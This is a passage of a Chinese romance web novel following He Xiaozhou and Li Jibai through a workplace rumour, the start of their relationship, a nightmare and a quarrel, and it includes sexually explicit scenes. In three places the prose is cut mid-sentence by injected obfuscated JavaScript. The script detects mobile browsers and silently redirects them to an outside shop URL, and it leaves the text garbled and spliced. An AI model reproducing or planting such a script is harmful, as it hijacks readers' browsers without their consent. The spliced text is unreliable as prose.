可他一笑,又是一副仿佛沐在春日里的模样。 何筱舟自然知道他为什么来,快速消化掉这事,瞪他一眼,疾声说:“安全通道等我。” 李既白扬扬眉,在她越过他走进办公室的时候,几不可察地轻笑了下:“好凶啊……” 跟麦克聊工作一向效率很高,十多分钟后,何筱舟将资料抱在怀里,脚步匆匆地拐进楼梯口。 写字楼没单独设置吸烟区,因此总有人躲在楼道内抽烟,用喝完的罐装可乐瓶做烟缸,就挂在栏杆拐角。 防火门闭合,常年漫着烟味的楼梯间里就只剩下安全出口牌子幽绿的光。 何筱舟没看见李既白,循着晦暗的光线沿楼梯往上走,冷不防听见一声轻咳,她一惊,扶着栏杆的手碰到那烟缸,铝制外壳跟铁栏杆摩擦,哗啦啦地响。 忽有一束光将这方空间照亮,李既白站在半层之上的拐角处,开着手机电筒,很配合地以一种特务接头的方式,气声说道:“安全。” 何筱舟快速走到他身边,劈手将手机一夺,按灭电筒,塞进他的长裤口袋里。 “你跟麦克说了什么?” “我这些天又去了趟桐陵。” 蔡旬跟速飞的任旭曾在桐陵的行业大会同时出现过,而会议举办地是当地一家大型酒店,监控记录保存得很完善。 清楚地拍到了两人见面的过程,以及蔡旬把一个USB类物品交给任旭的画面。 “你怎么答应我的,我已经在找证据了。” 李既白声音沉下去,“我说过,我没办法眼睁睁看着别人捕风捉影地指责你。” 何筱舟闪躲的口吻回:“并没有。” 但事实上,那些落在她身上的目光渐渐发展成离谱的谣言,说她为了攀上家世显赫的某位业内大佬,将客户机密信息泄露给大佬投资的竞品公司。 “我都在求职社区网站看到了,你们公司员工发的爆料,已经有很多人跟帖。” 李既白冷声道:“我给麦总看的证据,也给秦总发了一份。我的条件是,以领航的名义做公开澄清说明,这对领航没什么损失,反而能树立一个受害者的形象,如果置之不理……” “我的视频账号有一定的粉丝体量,且都是发烧友,应该能激起点水花。” 何筱舟看不清他的表情,喃喃道:“哪里就到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何筱舟一下子反应过来他要做什么,拽住他的手腕,“我自己来。” 她用极重的力气推开门,还未走远的两人霍然回头,见她从楼道里出来,面面相觑地顿在原地。 张巍面不改色,“何总也抽烟吗?” “倒没有,不过我私下里偶尔会喝点酒。” 她云淡风轻,但卢斌的脸色已经非常难看。 张巍还算镇定,“是吗,改天一起聚聚,我知道一家还不错的清酒吧。” “不用了。这年头还整造黄谣这一出,说实话,很倒胃口,也很猥琐,让别人觉得你的思维完全被下三路操纵了。我怕酒还没喝呢,就先吐了。” 何筱舟面上笑吟吟的,“起初我觉得你是个值得关注的竞争对手,但现在看好像不是这么回事,原来你只能把升职的希望寄托在我休产假上。” 张巍脸上青一阵白一阵的,拳头攥紧,却是一句反驳的话都说不出了。 何筱舟径直从他们身边走过,胸中郁结尽消。 李既白走之前给她发来信息。 “忘了说,秦总批了我的辞职申请。” “现在我们可以光明正大一起吃顿饭了吗?” 大概是为了增加筹码,隔一会,新一条进来。 “你答应过我的,时间我定。” 好像是有这么回事,过年他生病那阵定下的,已经这么久远。 何筱舟笑了笑,回了个数字“1”。 * 下班后,何筱舟乘地铁前往李既白预定的餐厅。 很火的一家观景餐厅,店址选在清澜河畔的一幢小高层建筑楼顶,用餐同时能完整看一场落日。 到时日头已经快没入高楼,天边仅剩一缕被云层笼罩轻而薄的粉紫色烟霞。 靠玻璃围栏边的位置,李既白朝她招手。 “带相机了吗?” 他对她的一些小习惯再清楚不过。 何筱舟从托特包里取出那台胶卷相机,递给前来倒水的服务生,拜托她帮忙拍张照。 她则站去李既白旁边,微微偏着脑袋,看起来就像斜倚在他肩头。 四月风慵懒地拂面而过,落日余晖前,这一瞬被定格。 没有人试图破坏难得的惬意时刻,话题刻意避开最近这些事,而此时身居高层,也完全不必为柳絮烦恼。 一餐饭闲谈着吃了很久,离开时,河岸两侧渐次亮起霓虹灯光。 长久待在高处,回到地面时不免脚步虚浮。 何筱舟提议沿河边走走。 这时候,有许多附近的居民饭后消食,风声,流水声,细碎的交谈声交融,形成一种舒适的白噪音萦绕在耳边,让人莫名有一种微醺感。 她并非刻意破坏气氛,只是忍不住好奇,“你到底恐不恐高?” 李既白抓着她的手按在胸前,隔着衣料亦能感知他不太平稳的心跳,以及他掌心些微的潮意。 何筱舟语塞,立时想到他今天不管不顾做的事,抽了手,冷言问:“被公司扫地出门的感觉如何?” 李既白低头一笑,“大概就是,怎么没有电视剧里辞职标配的小箱子?” “在别人旁观下一件件往背包里收东西,好像确实有那么点狼狈。” 何筱舟瞥他一眼,“做好未来很长一段时间找不到合适工作的准备了吗?” “最不济,我回南岸专职打理民宿,收房费。” 他表情无甚所谓,视线却灼灼烙在她身上。 他是有退路的,怎么忘了这茬? 何筱舟步伐加快,甩他两步的距离,“真是多余为你担心。” 手腕倏然被攥住,李既白将她拉到桥栏边,手臂斜撑到她身侧。 他垂眸看着她,“你担心我?” 他的气息钻入鼻腔。 令她想起昏暗逼仄的楼梯间。 “我……” 何筱舟很难再说任何违心的话,“要先给你预告吗?” 李既白显然误解了她的意思,“要抱是吗?” 何筱舟弯唇笑开,迎着他的怀抱,踮脚将下巴搭在他肩上。 “我们恋爱吧。” 42. 融入 当我开始了解你、珍惜你、想念你。 我爱你。 * 恋爱,在何筱舟的世界里,一直是非必修课题。 对现阶段的她来说,也是很久远又陌生的字眼。 事实上,在很多涉及人生方向的选择上,何筱舟由来秉承的习惯可称之为刻板。 分析可行性和回报率、设定目标、圈划范围,她总想以最大程度的安稳来保证结果不会和预期相去甚远,让一切能够有条不紊地推进。 学业、工作规划,她都是这样一步步走来。 当然。偶尔偶尔,她会有超乎这套规则的即兴发挥,但前提是不会跟她的主线步调产生冲突。 和林湛确认恋爱关系就是临时决定的。 那次新历年跨年,末班公交摇摇晃晃到站时,何筱舟还兀自思索着林湛说的“喜欢”。 他们沉默着走入校门,中间隔一个身位的距离,全程没有交流,看上去就像是不甚相熟却不得不共同完成某个任务的同学。 可那天沿途的一切都热闹极了。 树枝只剩枯杈,但零星挂上了小小的红灯笼。 绿化带内草叶凋零,却不知是谁在里面堆了雪人,涂上粉粉的腮红和嘴巴。 夜间灯都熄了,依然有校友在漆黑的操场上结伴庆祝新年,燃放小型焰火或仙女棒。 何筱舟那颗沉寂已久的心像被点燃了一般,忽然就想在当下那个相对有纪念意义的时刻做出一些从未有过的尝试。 所以在宿舍楼下分别前,她回应了林湛的喜欢,说可以在一起试试。 却是有先决条件的:“如果你不介意我修双学位忙到每周加起来只能抽出二十二个小时用来约会的话。” 林湛仔细听完她的时间安排,笑说:“好啊。” “我觉得远不止二十二小时——每天三餐,接你兼职回学校,图书馆可以一起去。周末时间多点,去看live或者周边短途游怎么样,我想你会喜欢。” 何筱舟自己提的,当他真的答应了,她反而有些无所适从。 当时她很想问林湛,喜欢她什么呢? 她分明是那么寡淡无趣的人,着急赶路但又渴望时间流速变慢,是行动与内心渴求完全不一致的矛盾体。 退避与勇敢,冷淡与热烈,矫饰与坦诚。 任何正向词汇加诸到她身上时好像必然会携带相反的特质。 譬如此刻。 何筱舟辨不清促使她做出决定的具体因由,却贪心地希望这个拥抱能持续得再久一些。 可李既白掌住她的肩膀,将她轻轻推远了些。 手被迫从他后背滑下,她略有些不满,只能退而求其次揪住他腰侧的衣料。 偏偏他这时候还要同她确认,“你再说一遍?” 何筱舟彻底松了手,“没听清就算了。” 男生轻笑着,重新将她揽进怀里,“好好好,我听清了。” “女朋友。” 轻飘飘的称呼钻进耳里,似风拂过皮肤,带起一阵细微的痒。 直到有路过的行人或好奇或揶揄地打量他们,何筱舟才终于从他怀抱里退开。 她抬起乍然空掉的手,带点掩饰性质地理了理肩上的包带。 刚一垂落,又被李既白牵起,扣进他温热的手掌里。 “我应该不是在做梦吧?” 何筱舟屈指掐他的手背,凉凉道:“你耳朵这么红,应该不是在做梦。” “那你喊我一句男朋友,让我听听。” “……” 何筱舟抿紧唇角,字音几乎已经滚到嘴边,却无论如何也吐不出口。 李既白被她堪称“豁出去”一般的表情逗笑,用另只手胡乱揉了揉她的发顶,“好了好了,不为难你。” “叫宝贝也行。” 何筱舟瞪他一眼。 于是,一直到赶回新安社区,关于两人关系转变之后如何称呼李既白这件事,也没有个明确的定论。 而何筱舟的议题已经单方面进入下一篇。 她收紧手指捏了捏他,适时从这个有些无聊的话题中抽离,“时间还早,上去看部电影?” “嗯……”李既白蹙眉作沉思状,“我们今天才在一起,就去你家,是不是有点太快了?” “确实。” 何筱舟抽回手,朝他笑了笑,“那你早点回家,晚安。” 说完,她真的回身往小区里走,拐进楼道的时候望了眼入口处,那里已经没有李既白的身影。 她照常卸妆、冲澡,换好家居服,拿了两瓶啤酒打算挑部喜剧片打发时间。 可片单从头滚到尾,也没看到一部感兴趣的。 随意点开一部,被某处稍显低俗的笑点膈应到,何筱舟顿觉索然。 她将喝空的酒罐丢进垃圾桶,重新洗漱过,绕到外间关掉所有灯,便准备回卧室。 这时,门忽然被敲响了。 何筱舟脚下顿了顿,也没再开灯,就借着投进室内的薄薄月光走去门口。 短短几步路,她走得极慢,留出时间去构思应对他的说辞。 但他完全没有留出空隙让她去应对。 楼梯间的感应灯循声而亮,光线映进玄关,却仅仅将室内照亮了一瞬,李既白随着那一隙光挤进来,反手关上门。 动作迅捷到何筱舟只来得及看清递到眼前的玫瑰花束。 馥郁的香味搅动空气,一阵短暂的窸窣声后,室内重新归于阒静。 何筱舟猜想他应当是把花随手搁在了玄关柜上,因为他忽然俯身勾住了她的腿弯。 身体腾空而起,她于乍然失去依凭的慌乱间伸手搂住他的肩背。 然而,他步伐沉稳,在黑暗中准确越过障碍物,抱着她坐进沙发里,将她箍在膝上。 何筱舟惊愕,“你对我家熟悉到这种程度了?” 李既白没好气道:“是,我复刻了一张平面图,挂在家里天天看。” 他将下巴搭在她肩头,许久,叹息一般,轻声说道:“想听你直接干脆地说一句好听话就有这么难。” 黑暗的空间里仅能感受到交缠在一起的呼吸,何筱舟看不清他的表情,却因掌心下毛衣的独特质感,心底掀起一阵柔软的波澜。 忽然就觉得,他列举的那些腻歪称呼似乎并没那么难以启齿。 她正欲开口,唇上蓦地传来一股湿热的触感。 是他凑近啄吻她一下,而后伸掌托住她的下颌。 何筱舟以为他要继续,可他只是捏了捏她的耳垂,温声低语:“那你听着,我来说,好不好?” “我刚才离开,并不是不想跟你待在一起。” “是因为我觉得我们之前的开始好像有些草率,我不想让我们的关系仅仅是在名义上更进一步,实质还是易碎,经不得一点风吹草动。我想慢慢来,了解你的喜好、习惯、性情,一点一点真正融入进你的生活。” “但我很快反悔了,因为我想,我们第一天在一起需要点仪式感。而且, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108183|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不确定我这样走掉你会不会生气,明天就让我从男友变回不相干的人。” 何筱舟心脏塌软,好似踏入绵软的青草地,恨不能躺在上面滚两圈。 静默良久,她开口:“是因为你穿这件衣服太好看了吗?” “嗯?” 何筱舟伸臂搂紧他的颈项,“我今天总想抱你。” 李既白沉声笑,“想抱就抱,还得先找个能说服自己的理由?” 何筱舟阖着眼,懒懒道:“谁知道你让不让抱,会不会觉得太快。你真奇怪,没在一起的时候怎么着都行,现在反而不行了。” “耍赖是吧,合着我刚才说的话都白说了。” “我可以接受以任何形式和你纠缠下去,但我认为恋爱应该有不一样的节奏。” 何筱舟歪靠在他肩头,低喃:“不冲突啊。” “你今天可以先融入进我的身体,以后慢慢融入我的生活。” 李既白额角突跳,后知后觉感到反常。 她以前也有过直白的时候,却没有这么的露骨。 他伸指去探她的脸颊,触到一蓬微烫的热度。 “你喝酒了?” “嗯,喝了点,”她补充,“不过没醉。” “那你知道你在说什么吗?” 何筱舟在他腿上扭动着调整坐姿,改为跨坐,依然搂住他的脖颈,凑到他耳边吹气,“我说,我想睡李既白。” 他不由屏息,哑声问:“李既白是谁?” 何筱舟忍不住在暗处翻白眼,“我男朋友。” 她身上携着洗沐过后的清淡香气,幽微、无孔不入。 李既白方才站在楼下深思熟虑许久建立好的规则转瞬间全线崩塌。他深深吸气,暗暗唾弃自己言行不一,再难忍耐地,仰头吻住她。 腰部被他的手掌禁锢着,何筱舟无从躲避,双手后撑在他膝头,身体略微后仰。 却更像是以一种微妙的姿态去迎合他的啃食。 带点湿意的唇蜿蜒至颈间,李既白气息粗沉,含糊地问:“还有吗?” 何筱舟装不懂,“什么?” “……”他迟疑道,“套。” 何筱舟忽而笑出声,低额抵在他肩头,笑得身体轻颤。 她揉了揉他滚烫的耳根,“你怎么这么好哄?” 李既白明显呆滞了片刻,气闷地去掐她腰间的软肉,“耍我?” 何筱舟勾着他的脖颈,引他去探早已分明的潮湿,“哪点耍你了?我不想睡你?还是你不是我男朋友?我早告诉你,我没有喝醉呀。” “是你误会了。” 李既白轻哼了声,抱起她丢进沙发里,俯身压下来,“何筱舟,如果你在其他方面也能这么坦诚。” 更加来势汹汹的吻,伴随着明显施加了力道的指触,越过起伏的线条,沿平坦径直逶迤向下。 何筱舟喜欢他此时的攻击性与侵略性,手指揉搓着他的发根,喉间渐渐溢出细碎的低吟。 黑暗递去放纵的遮蔽,同时给予他合理的借口。 吻的落点毫无规律,总在触及核心地带之后又偏离。 何筱舟被吊得不上不下,抬腿固住他的脑袋。 可李既白存了心不让她轻易如愿,施力轻而易举将她的膝盖分开,耐心地诱着她将先前讨论过的称呼一句一句叫了个遍。 但最后依然没有定论。 因为李既白发现自己好像更喜欢她每次不得已应承他之后,用细颤的声音骂他“混蛋”。 43. 静谧 何筱舟被李既白捞抱进怀里,伏在他肩头细细喘气。 “你现在怎么这么……” 李既白正将她睡衣的扣子一颗颗扣好。 闻言,他手指顿了顿,扫过她的皮肤,令刚刚平缓下去的颤栗似有卷土重来的趋势。 偏偏他的声音里透着股无辜感,“嗯?什么?” 恶劣。 何筱舟想到他不久前故意的行为,稍感气短地扯开他的领口,张口咬住他的肩膀。 她闷闷地说:“现在你可以走了。” 李既白吃痛,仰颈闷哼,“过河拆桥是吧?” 何筱舟转头亲了亲他的喉结,坦然承认,“卸磨杀驴。” 李既白也不生气,低笑出声,“你先去睡觉,我等会就回家。” “等什么?” 他无奈,带着刻意,顶蹭她的腿,“我现在什么状况你不知道?” 何筱舟彻底噤了声。 眼下的情况看起来,好像她比他还要恶劣一点。 过一会,李既白身体前倾,似是要站起来。 何筱舟觉察到他的意图,有种坠跌的恐慌感,下意识紧紧搂住他的脖子,“做什么去?” 李既白一转念,说:“开下灯。” “你不是对我家很熟悉吗?” 李既白无声弯唇,“判断一下你的表情,是不是真的想让我走。” 她小声,“当然是真的。” 李既白忍住没有笑开,但笑意愈发深浓,将声音染上很明显的调侃意味,“那要不,你先松开我呢?” 何筱舟反应过来,真的放开手,身体也跟着往旁边挪,要从他腿上下来。 下一瞬,他重新拥住她,凑近亲吻她的脸颊。 “好了好了,是我想留下来可以吗。” “我想抱着你睡,然后明天周末,我们去约会,好不好?” 何筱舟一时失语。 这个男生真的小她六岁吗? 为什么在他面前,在他说这样的话的时候,她总难以自控地想……撒娇?这合理吗? 何筱舟完全没有预见到,时隔多年,再进入一段恋爱时,她会是这个状态。 这么的,别扭又腻歪。 没有开灯是再正确不过的决定,不至于让她的神情暴露无遗。 何筱舟没说好,也没说不好,只问他:“你喝水吗?” “忘了,我刚才本来就是想给你拿水的。” 李既白站起身,还不忘给她预告,“这下真得开灯了哦。” 灯光乍亮的瞬间,何筱舟条件反射地眯了眯眼。 朦胧渐转为清晰的视野里,男生走进厨房,仔细把杯子冲洗过一遍,倒了杯纯净水递给她。 “之前我留在这里的衣服,你没有丢掉吧?不然我只能先回家拿一趟了。” 何筱舟很想人为破坏他脸上过分昭彰的笑。 她也真的这么做了。 伸手将他唇角翘起的弧度按下拉直,“不记得了,自己去看。” 李既白洗完澡的时候,何筱舟已将将要睡着了。 迷蒙间,她只感觉到一侧床垫微微塌陷了下去。 温热而携着潮湿香气的身体贴近,从背后圈抱住她。手臂自颈间横穿过来,轻轻包拢住了,她随意搭在枕边的手。 何筱舟调整了下睡姿,反手抠挠他的掌心。 “睡吧。” 李既白关了灯,手掌扣住她的腰,将她往怀里带了带。 何筱舟预判了他的下一步举动,扭头亲他的嘴角。“晚安。” 尽管过去几个月里,他们那样熟悉彼此的身体,但是许久没有同枕而眠,何筱舟多少有些不习惯。 意识模糊的浅眠持续到后半夜,何筱舟懵然间听到窗外的雨声。 不记得睡前有没有关好窗,她掀被,走去窗边。 客厅里隐约传来低唤,似有人在叫她的名字,何筱舟迟疑着应:“李既白?” 没有人回应,但喊声未停。 她循声找过去,只看清一道飘渺的孤直身影,朝着阳台的方向移动。 不安感顿生,何筱舟加快脚步,借着幽暗的光线看清了他的脸。 清秀、闲散,同初见时一样。 就连撑着阳台围栏向下跳时,表情都丝毫未变,带着他一贯的洒脱、恣意的笑。 何筱舟想要拉住他。 可她的双脚就像被钉在原地,动弹不得。 只能眼睁睁看着他跳下去,而那道唤着她名字的声音,携着空渺的回音,愈来愈远了。 顷刻间,周遭一切迅速塌陷、沉降,化为虚无。 她惊惶失措地发现,她正站在山崖边。 浓雾遍布,风声猎猎,深谷如渊。 何筱舟霍然睁开眼睛。 梦境带来的连锁反应使得小腿猛地抽动了两下。 她闭眼深呼吸,四下寂静,她几能听见剧烈到似要跳出胸腔的心跳声。 庞然到心悸的空落感,如这沉黑的夜晚一般,铺天盖地压下来,仿佛要将她吞没。 身体僵直,何筱舟尝试着动了动。 不知什么时候变成了相对而卧的状态,她的腿挤进了李既白的腿间,正被他禁锢着。 自然而然的,刚刚的动静也将他惊醒。 “做噩梦了?” 他的嗓音里带着一种砂质的哑,听上去困倦极了,却第一时间搂住她,手掌覆在她脑后,柔声安抚。 何筱舟的手指轻颤着,在黑暗中触及他的脸。 她一寸寸描摹,沿峻挺眉骨到微隆起驼峰的高挺鼻梁,再往下,她的轨迹被阻断,是他吻了吻她的指尖。 “别怕,我在这里。” 何筱舟惶惶不安的心奇异地安定下来。 窗户当然是关严了的。 老居民楼没有加装防盗网,住的楼层又低,睡前检查门窗是她独居以来一直秉承的习惯。 至于窗台边传来的笃笃声响,则是真的下雨了。 此时天色将亮未亮,有濛濛光线穿透窗帘映进室内,窗外雨声细密又潮湿,而身边人的呼吸声,沉稳且绵长。 一切的一切,令何筱舟无由想到一种静谧、悠远的永恒。 可尽管这样安宁。 恐怕今晚,她也很难再睡着了。 * 约会没能成行。 这场毫无征兆的雨贯穿了整个周末,何筱舟提不起兴致出门,窝在家里将收藏夹的片单从头看到尾。 但她的心思完全不在这上面。 更多时候,电影是在充当背景音,让她看起来有事可做而已。 是早上一起出门时,李既白瞟见她将玄关柜上的小摆件收进包里,才觉出点异样。 “那晚梦见什么了?这两天都心不在焉的。” 何筱舟把摆件搁回那个瓷盘,重新拿了钥匙。 “我……不记得了。” 她故作无事地微笑,看见他肩上鼓囊的背包,不经意地问:“你要走啊?” “今天有两场面试,结束之后去拍素材,还落下好多事没做,得补回来。” 何筱舟抿了抿唇,没说什么。 正是清晨,城市重启忙碌。 本就拥挤的单行道旁停满了各种电动车,送孩子上学的,临停在路边买早餐的,狭窄的车道比平时更难通行,乱作一团。 何筱舟领着李既白,绕开行人与车辆,轻车熟路拐进最常去的那家早餐店。 老板笑吟吟地问:“老样子?” 何筱舟点头,转而问李既白吃什么,没等开口,他笑着对老板说:“我也来她的老样子。” 老板手上动作未停,抽空瞟一眼何筱舟,揶揄道:“男朋友吧?” 李既白先去了前面的商铺帮她买咖啡,高挺的背影汇入熙攘人群中,那样显眼。 何筱舟远远望着,极轻地嗯了一声。 她无法忽视自己听到这个问题时的刹那踌躇,是暂时不适应身份转变,还是因为那个梦,她分不清。 因此再听到有人这样问时,何筱舟仍是犹疑的。 是在领航官号发布声明之后。 公告里没有明说泄密事件的详情,只有领航内部和相关合作方知道蔡旬被停职调查了。 领航跟知界的合作项目换成了秦越负责。 他带孙林一起拜访知界,协商后续的具体事宜。 何筱舟在会议上对已完成的工作和待办事项做出了详细说明,至于合作,她委婉回绝了。 “实话讲,贵司先前的处理方式,对我本人造成了一定的困扰,也让我担心,日后如果再有类似的事情发生,是不是我依旧会被轻易怀疑。而我们双方的信息往来不可避免会有涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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麦克耸耸肩,“奇妙的爱情,我能理解。” 何筱舟说:“我必须澄清,我没有借用工作之便,我和他早在合作开始前就认识了。” “有什么关系?” 麦克摊开双手,“爱情不在任何规则之内。” 跟上司谈论这事着实有点超出何筱舟的认知。 她强行把话题掰回到工作,聊完项目规划就迅速撤了。 微信堆积了好几条消息。 无一例外,都来自李既白。 避开在工作日见面,是他们一贯秉承的默契。 即使现在是男女朋友的关系。 如果要说有什么不同,大概就是他每天发来的这些平淡到鸡毛蒜皮的小事。 “在地铁上被搭讪,我拒绝了。” “这家面馆味道不错,下次一起来吃。” “楠姐组局聚会,你去吗?” 何筱舟挑拣着回复了,人机一样。 “好。” “去。” 过一会,李既白问:“今天很忙吗?” 领航的事基本算是解决了,何筱舟私心里不想他再被牵连进来,便说:“不忙。” 他引用被搭讪那条,“所以,是没看到这句?” 何筱舟悬在键盘上的手指顿了顿。 很难。调情、讲肉麻话、倾诉真心,她或许天生不具备这样的技能,又可能是在漫长的独自前行路上被她主动地慢慢舍弃。 她需要武装自己,最好由内而外都变得锋利。 何筱舟无意识地滑着鼠标,翻看最近的聊天记录。 和他朋友圈的九宫格图集一样,他的信息也没有明确主题,除了汇报行程的目的之外,大略只是在分享日常。 可其中暗藏的潜台词再明显不过。 “我看到这些的同时想起了你。” “我在想你。” 何筱舟咬着下唇,面无表情地敲字。 “要我夸你吗?以后出门戴口罩遮住脸,否则把你锁家里。” “姐姐是奖励我吗?” 联想到一些不合宜的画面,何筱舟脸微微发烫,急忙关掉聊天窗口。 可恶,竟然讲不过他。 44. 冲动 下班时候,何筱舟在电梯口遇见了张巍,目光相对,他往人群后站了站。 何筱舟看他这个反应,只觉得好笑。 她并没有存心思去针对他,那次争执过后,他消停不少,开例会也不再多嘴使绊子,她很乐见这种结果,工作场合对他和卢斌的态度照旧。 尽管她有过怀疑,李既白所说的爆料贴是不是张巍添油加醋发出去的,但无从查证,她也没那个闲心再去追究。 回家换了身衣服,赶去槐枰街。 乔楠新工作室开业,请朋友到四季酒吧庆祝。 与往常不同,只叫了几个相熟的朋友,没有大费周章地占用整间酒吧,找了处相对宽敞的位置,将两张桌子拼在一起。 何筱舟照旧坐在边缘位,捧杯柠檬水旁观他们玩游戏,看着看着,就有点走神。 不是适合思考问题的场合,导致她的思绪绕成乱麻,像捋不出首尾的毛线团。 乔楠撞了下她的肩膀,“怎么着,你什么情况?” 何筱舟顿了顿,“我有个朋友……” “打住,就直说,你怎么了?” “我和李既白在一起了。” 乔楠几乎都要把这场聚会改个主题了,注意到她神色不对,及时止住尖叫,“你在纠结什么?” 何筱舟整理了下措辞,“乔儿,换位思考,如果你在一段感情中,被你的男友当作他前任的替代品,你会怎么想,怎么做?” 很绕,但很容易得出结果,“割了他,成全他为他前女友守贞。” 话脱口才反应过来。 乔楠急忙揽她的肩膀,“不,筱筱,你听我说,你在我这儿跟别人不一样,我很能理解你的想法。” 她默然地笑笑,垂下眼睫。 许久。 “我又有什么不一样。” 何筱舟低眸看着杯里被泡得发白的柠檬片,自言自语般,“如果知道迟早有一天会分开,不如就不要开始。” 乔楠的恋爱经历一团糟,根本不知道如何规劝。 正为难间,忽听身后传来一句,“何筱舟,你说这话是什么意思?” 乔楠立时睁大眼睛。 一回头,看见面色阴沉的李既白。 他半弯下腰,双手拄膝,原本应当是打算探身捂住何筱舟的眼睛,或者搂她的肩膀。 当下的境地进退两难,显得有些狼狈。 她迅速反应过来,招呼他坐,“来晚了哈小白。” 乔楠抽空瞥了眼身旁的何筱舟。 她仍旧镇定,面色未变,甚至往里挪了挪,给他空出位置,“来了,先坐,晚点我们谈谈。” 李既白直起身,很勉强地冲乔楠弯起嘴角,“有点事耽搁了。” “楠姐,你们玩,我有话跟她说。” 说完,他伸手扣住何筱舟的手腕,将她带离席。 他步伐极快,但帆布鞋踩在地上几无声息。 只惹得何筱舟的心跳无由乱了。 像她的鞋跟敲击地面发出的不规律声响,也像走动间她的裙摆绕上他的小腿,总是一触即离。 何筱舟低头留意着脚下,直到光亮消失,渐渐跟不上他的脚步。 她用力挣了下手腕,低声叫他:“李既白……” 他终于肯慢下来,牵着她拐进建筑物间的小路。 夜色如泼洒的墨,浓郁得化不开。 何筱舟看不清他的表情,仅能听到他竭力压抑的粗重鼻息,“要谈什么,现在就谈。你后悔了是吗,想跟我分手?” 一连串的问题,却容不得她思考。 李既白冷声追问:“迟早会分开是什么意思?” 他只听到了这句。 何筱舟不知道该庆幸,还是该遗憾。 从那个梦开始,她心里就一直感到不安。 好像有一柄剑悬在她头顶,时时刻刻提醒她,他们之间横着一道绕不过去的沟壑。 何筱舟无法回答。 “我不能接受这个分手的理由。” “除非你亲口说,你不喜欢我,你讨厌我,跟我在一起的每一分钟都让你感到恶心、难以忍受。” 何筱舟咬紧下唇,开口:“我……” 遽然一束亮光,将这方逼仄的空间照亮。 小路不算很窄,只是她被李既白堵在墙边,才觉周遭空气稀薄。 李既白立于她身前,握着手机,语气不容置疑。 “给你时间考虑,十秒,看着我说,然后……我不会再纠缠你。” 何筱舟嘴唇翕动,垂在身侧的手捏紧了裙摆。 他少有这样霸道的一面,连视线回避也不允许。 直接伸手掐住她的下颌,施加了几分力道,强硬地将她的脸抬高,让她不得不望向他。 何筱舟因此看清他眼里翻涌的情绪。 薄怒与惶惧兼有,晦暗如同夜空。 他并非绝对笃定,却甘愿递来刀柄,一并把生杀予夺的权利也交予她。 何筱舟忽然间失去所有行动和语言能力,胸口像挨了一记冷拳,闷得发疼。 从没觉得吐字这样艰难:“我不……” “晚了,何筱舟,你没机会了。” 李既白打断她,凉凉地撂下这么一句。 他关掉电筒,将她往墙边一推,低下头,恶狠狠地咬住她的唇。 带着惩罚性质的吻,毫无章法可言,只被愤怒的本能驱使,像要夺尽她所有的氧气。 何筱舟矛盾极了,感觉自己正在分裂成两部分,一面极度渴望,一面冷静审视,对那个轻易沦陷的她嗤之以鼻。 如果他一直这样狠戾也罢了,针尖对麦芒是她最擅长的对峙方式。 可为什么他猝然缓下来,像动物舔舐伤口般,轻柔的、小心翼翼的,含吮着她的舌尖,甚至捧着她脸颊的双手都在发抖。 一转念,所有的理智、取舍都被抛至九霄云外,何筱舟上前一小步,身体紧紧贴着他,热切回吻。 至少现在那柄剑还没有落下来,不是吗。 李既白觉察到她的回应,似受到鼓励,伸掌扣住她的后颈,剿缠着她的唇舌,更加不留余地地索取。 何筱舟渐渐缺氧,双手无力地推了推他的肩膀。 他呼吸粗沉,贴着她的唇角,哑声问:“怎么过来的?” “开车。” 李既白单手抱起她,径直往停车场方向走。 是去他家的路,十多分钟的车程被拖延至二十多分钟。他刻意放缓了车速,只手背更加分明的青筋暴露了他真实的心绪。 让何筱舟莫名感到紧张。 * 甫进门,何筱舟便被李既白扛抱而起。 他一边迈着大步往卧室走,一边褪去她脚上的细高跟,直接丢在地上。 省略了很多繁琐的步骤,李既白搂她坐到床边,直奔主题解她的衬衣纽扣。 动作有些急切,让她疑心这柔软的衣料在他手里会被撕成碎片。 可他应当是保留了理智的,狠狠贯入之前,不忘了先试一试她的状态。 或许没想到会触到一片湿沃,他态度软和下来,仰头啄她的唇,“看起来,至少你这里不讨厌我。” 何筱舟失语,张口咬他的肩膀。 很难说是不是巧合。 事先根本没预料到会发生这种情况。她只是在赴约前,回家换掉了看上去灰扑扑的通勤装束。 但衬衫和半身裙好像更方便在这种境况下半遮半掩地进行,尤其她穿的还是前扣式内衣。 裙摆随她趺坐而下的动作完全铺开,像春日里绽放的花瓣,经受不住连续的风雨撞击,悬于枝头摇摇欲坠。 何筱舟很快体力不支,手攀着他的肩膀借力。 低头时看见敞开的衬衫衣襟里完好的贴身衣物,抱着扳回一成的心态挑衅他,“不会解?” 李既白的手指已经在她背后摩挲很久,闻言,索性停住,很坦然地说:“不会,你教我。” 何筱舟少见的有些羞赧。 束缚尽释的瞬间,她只觉心跳好像都随着那颤动的弧度乱了一拍。 李既白注视着的目光肉眼可见的变得沉晦。 他倏地低头衔住,呼吸熨烫着她的皮肤,留下如同水汽蒸发的潮意,“还分手吗?何筱舟。” 她嘴硬回:“我在……考虑。” 猛然好几下用力的挺撞,将她的声音碾碎。 起伏间,她觉知自己好像变成了破掉的蜂蜜罐,缓缓流溢出甜腻又黏糊的浆汁。 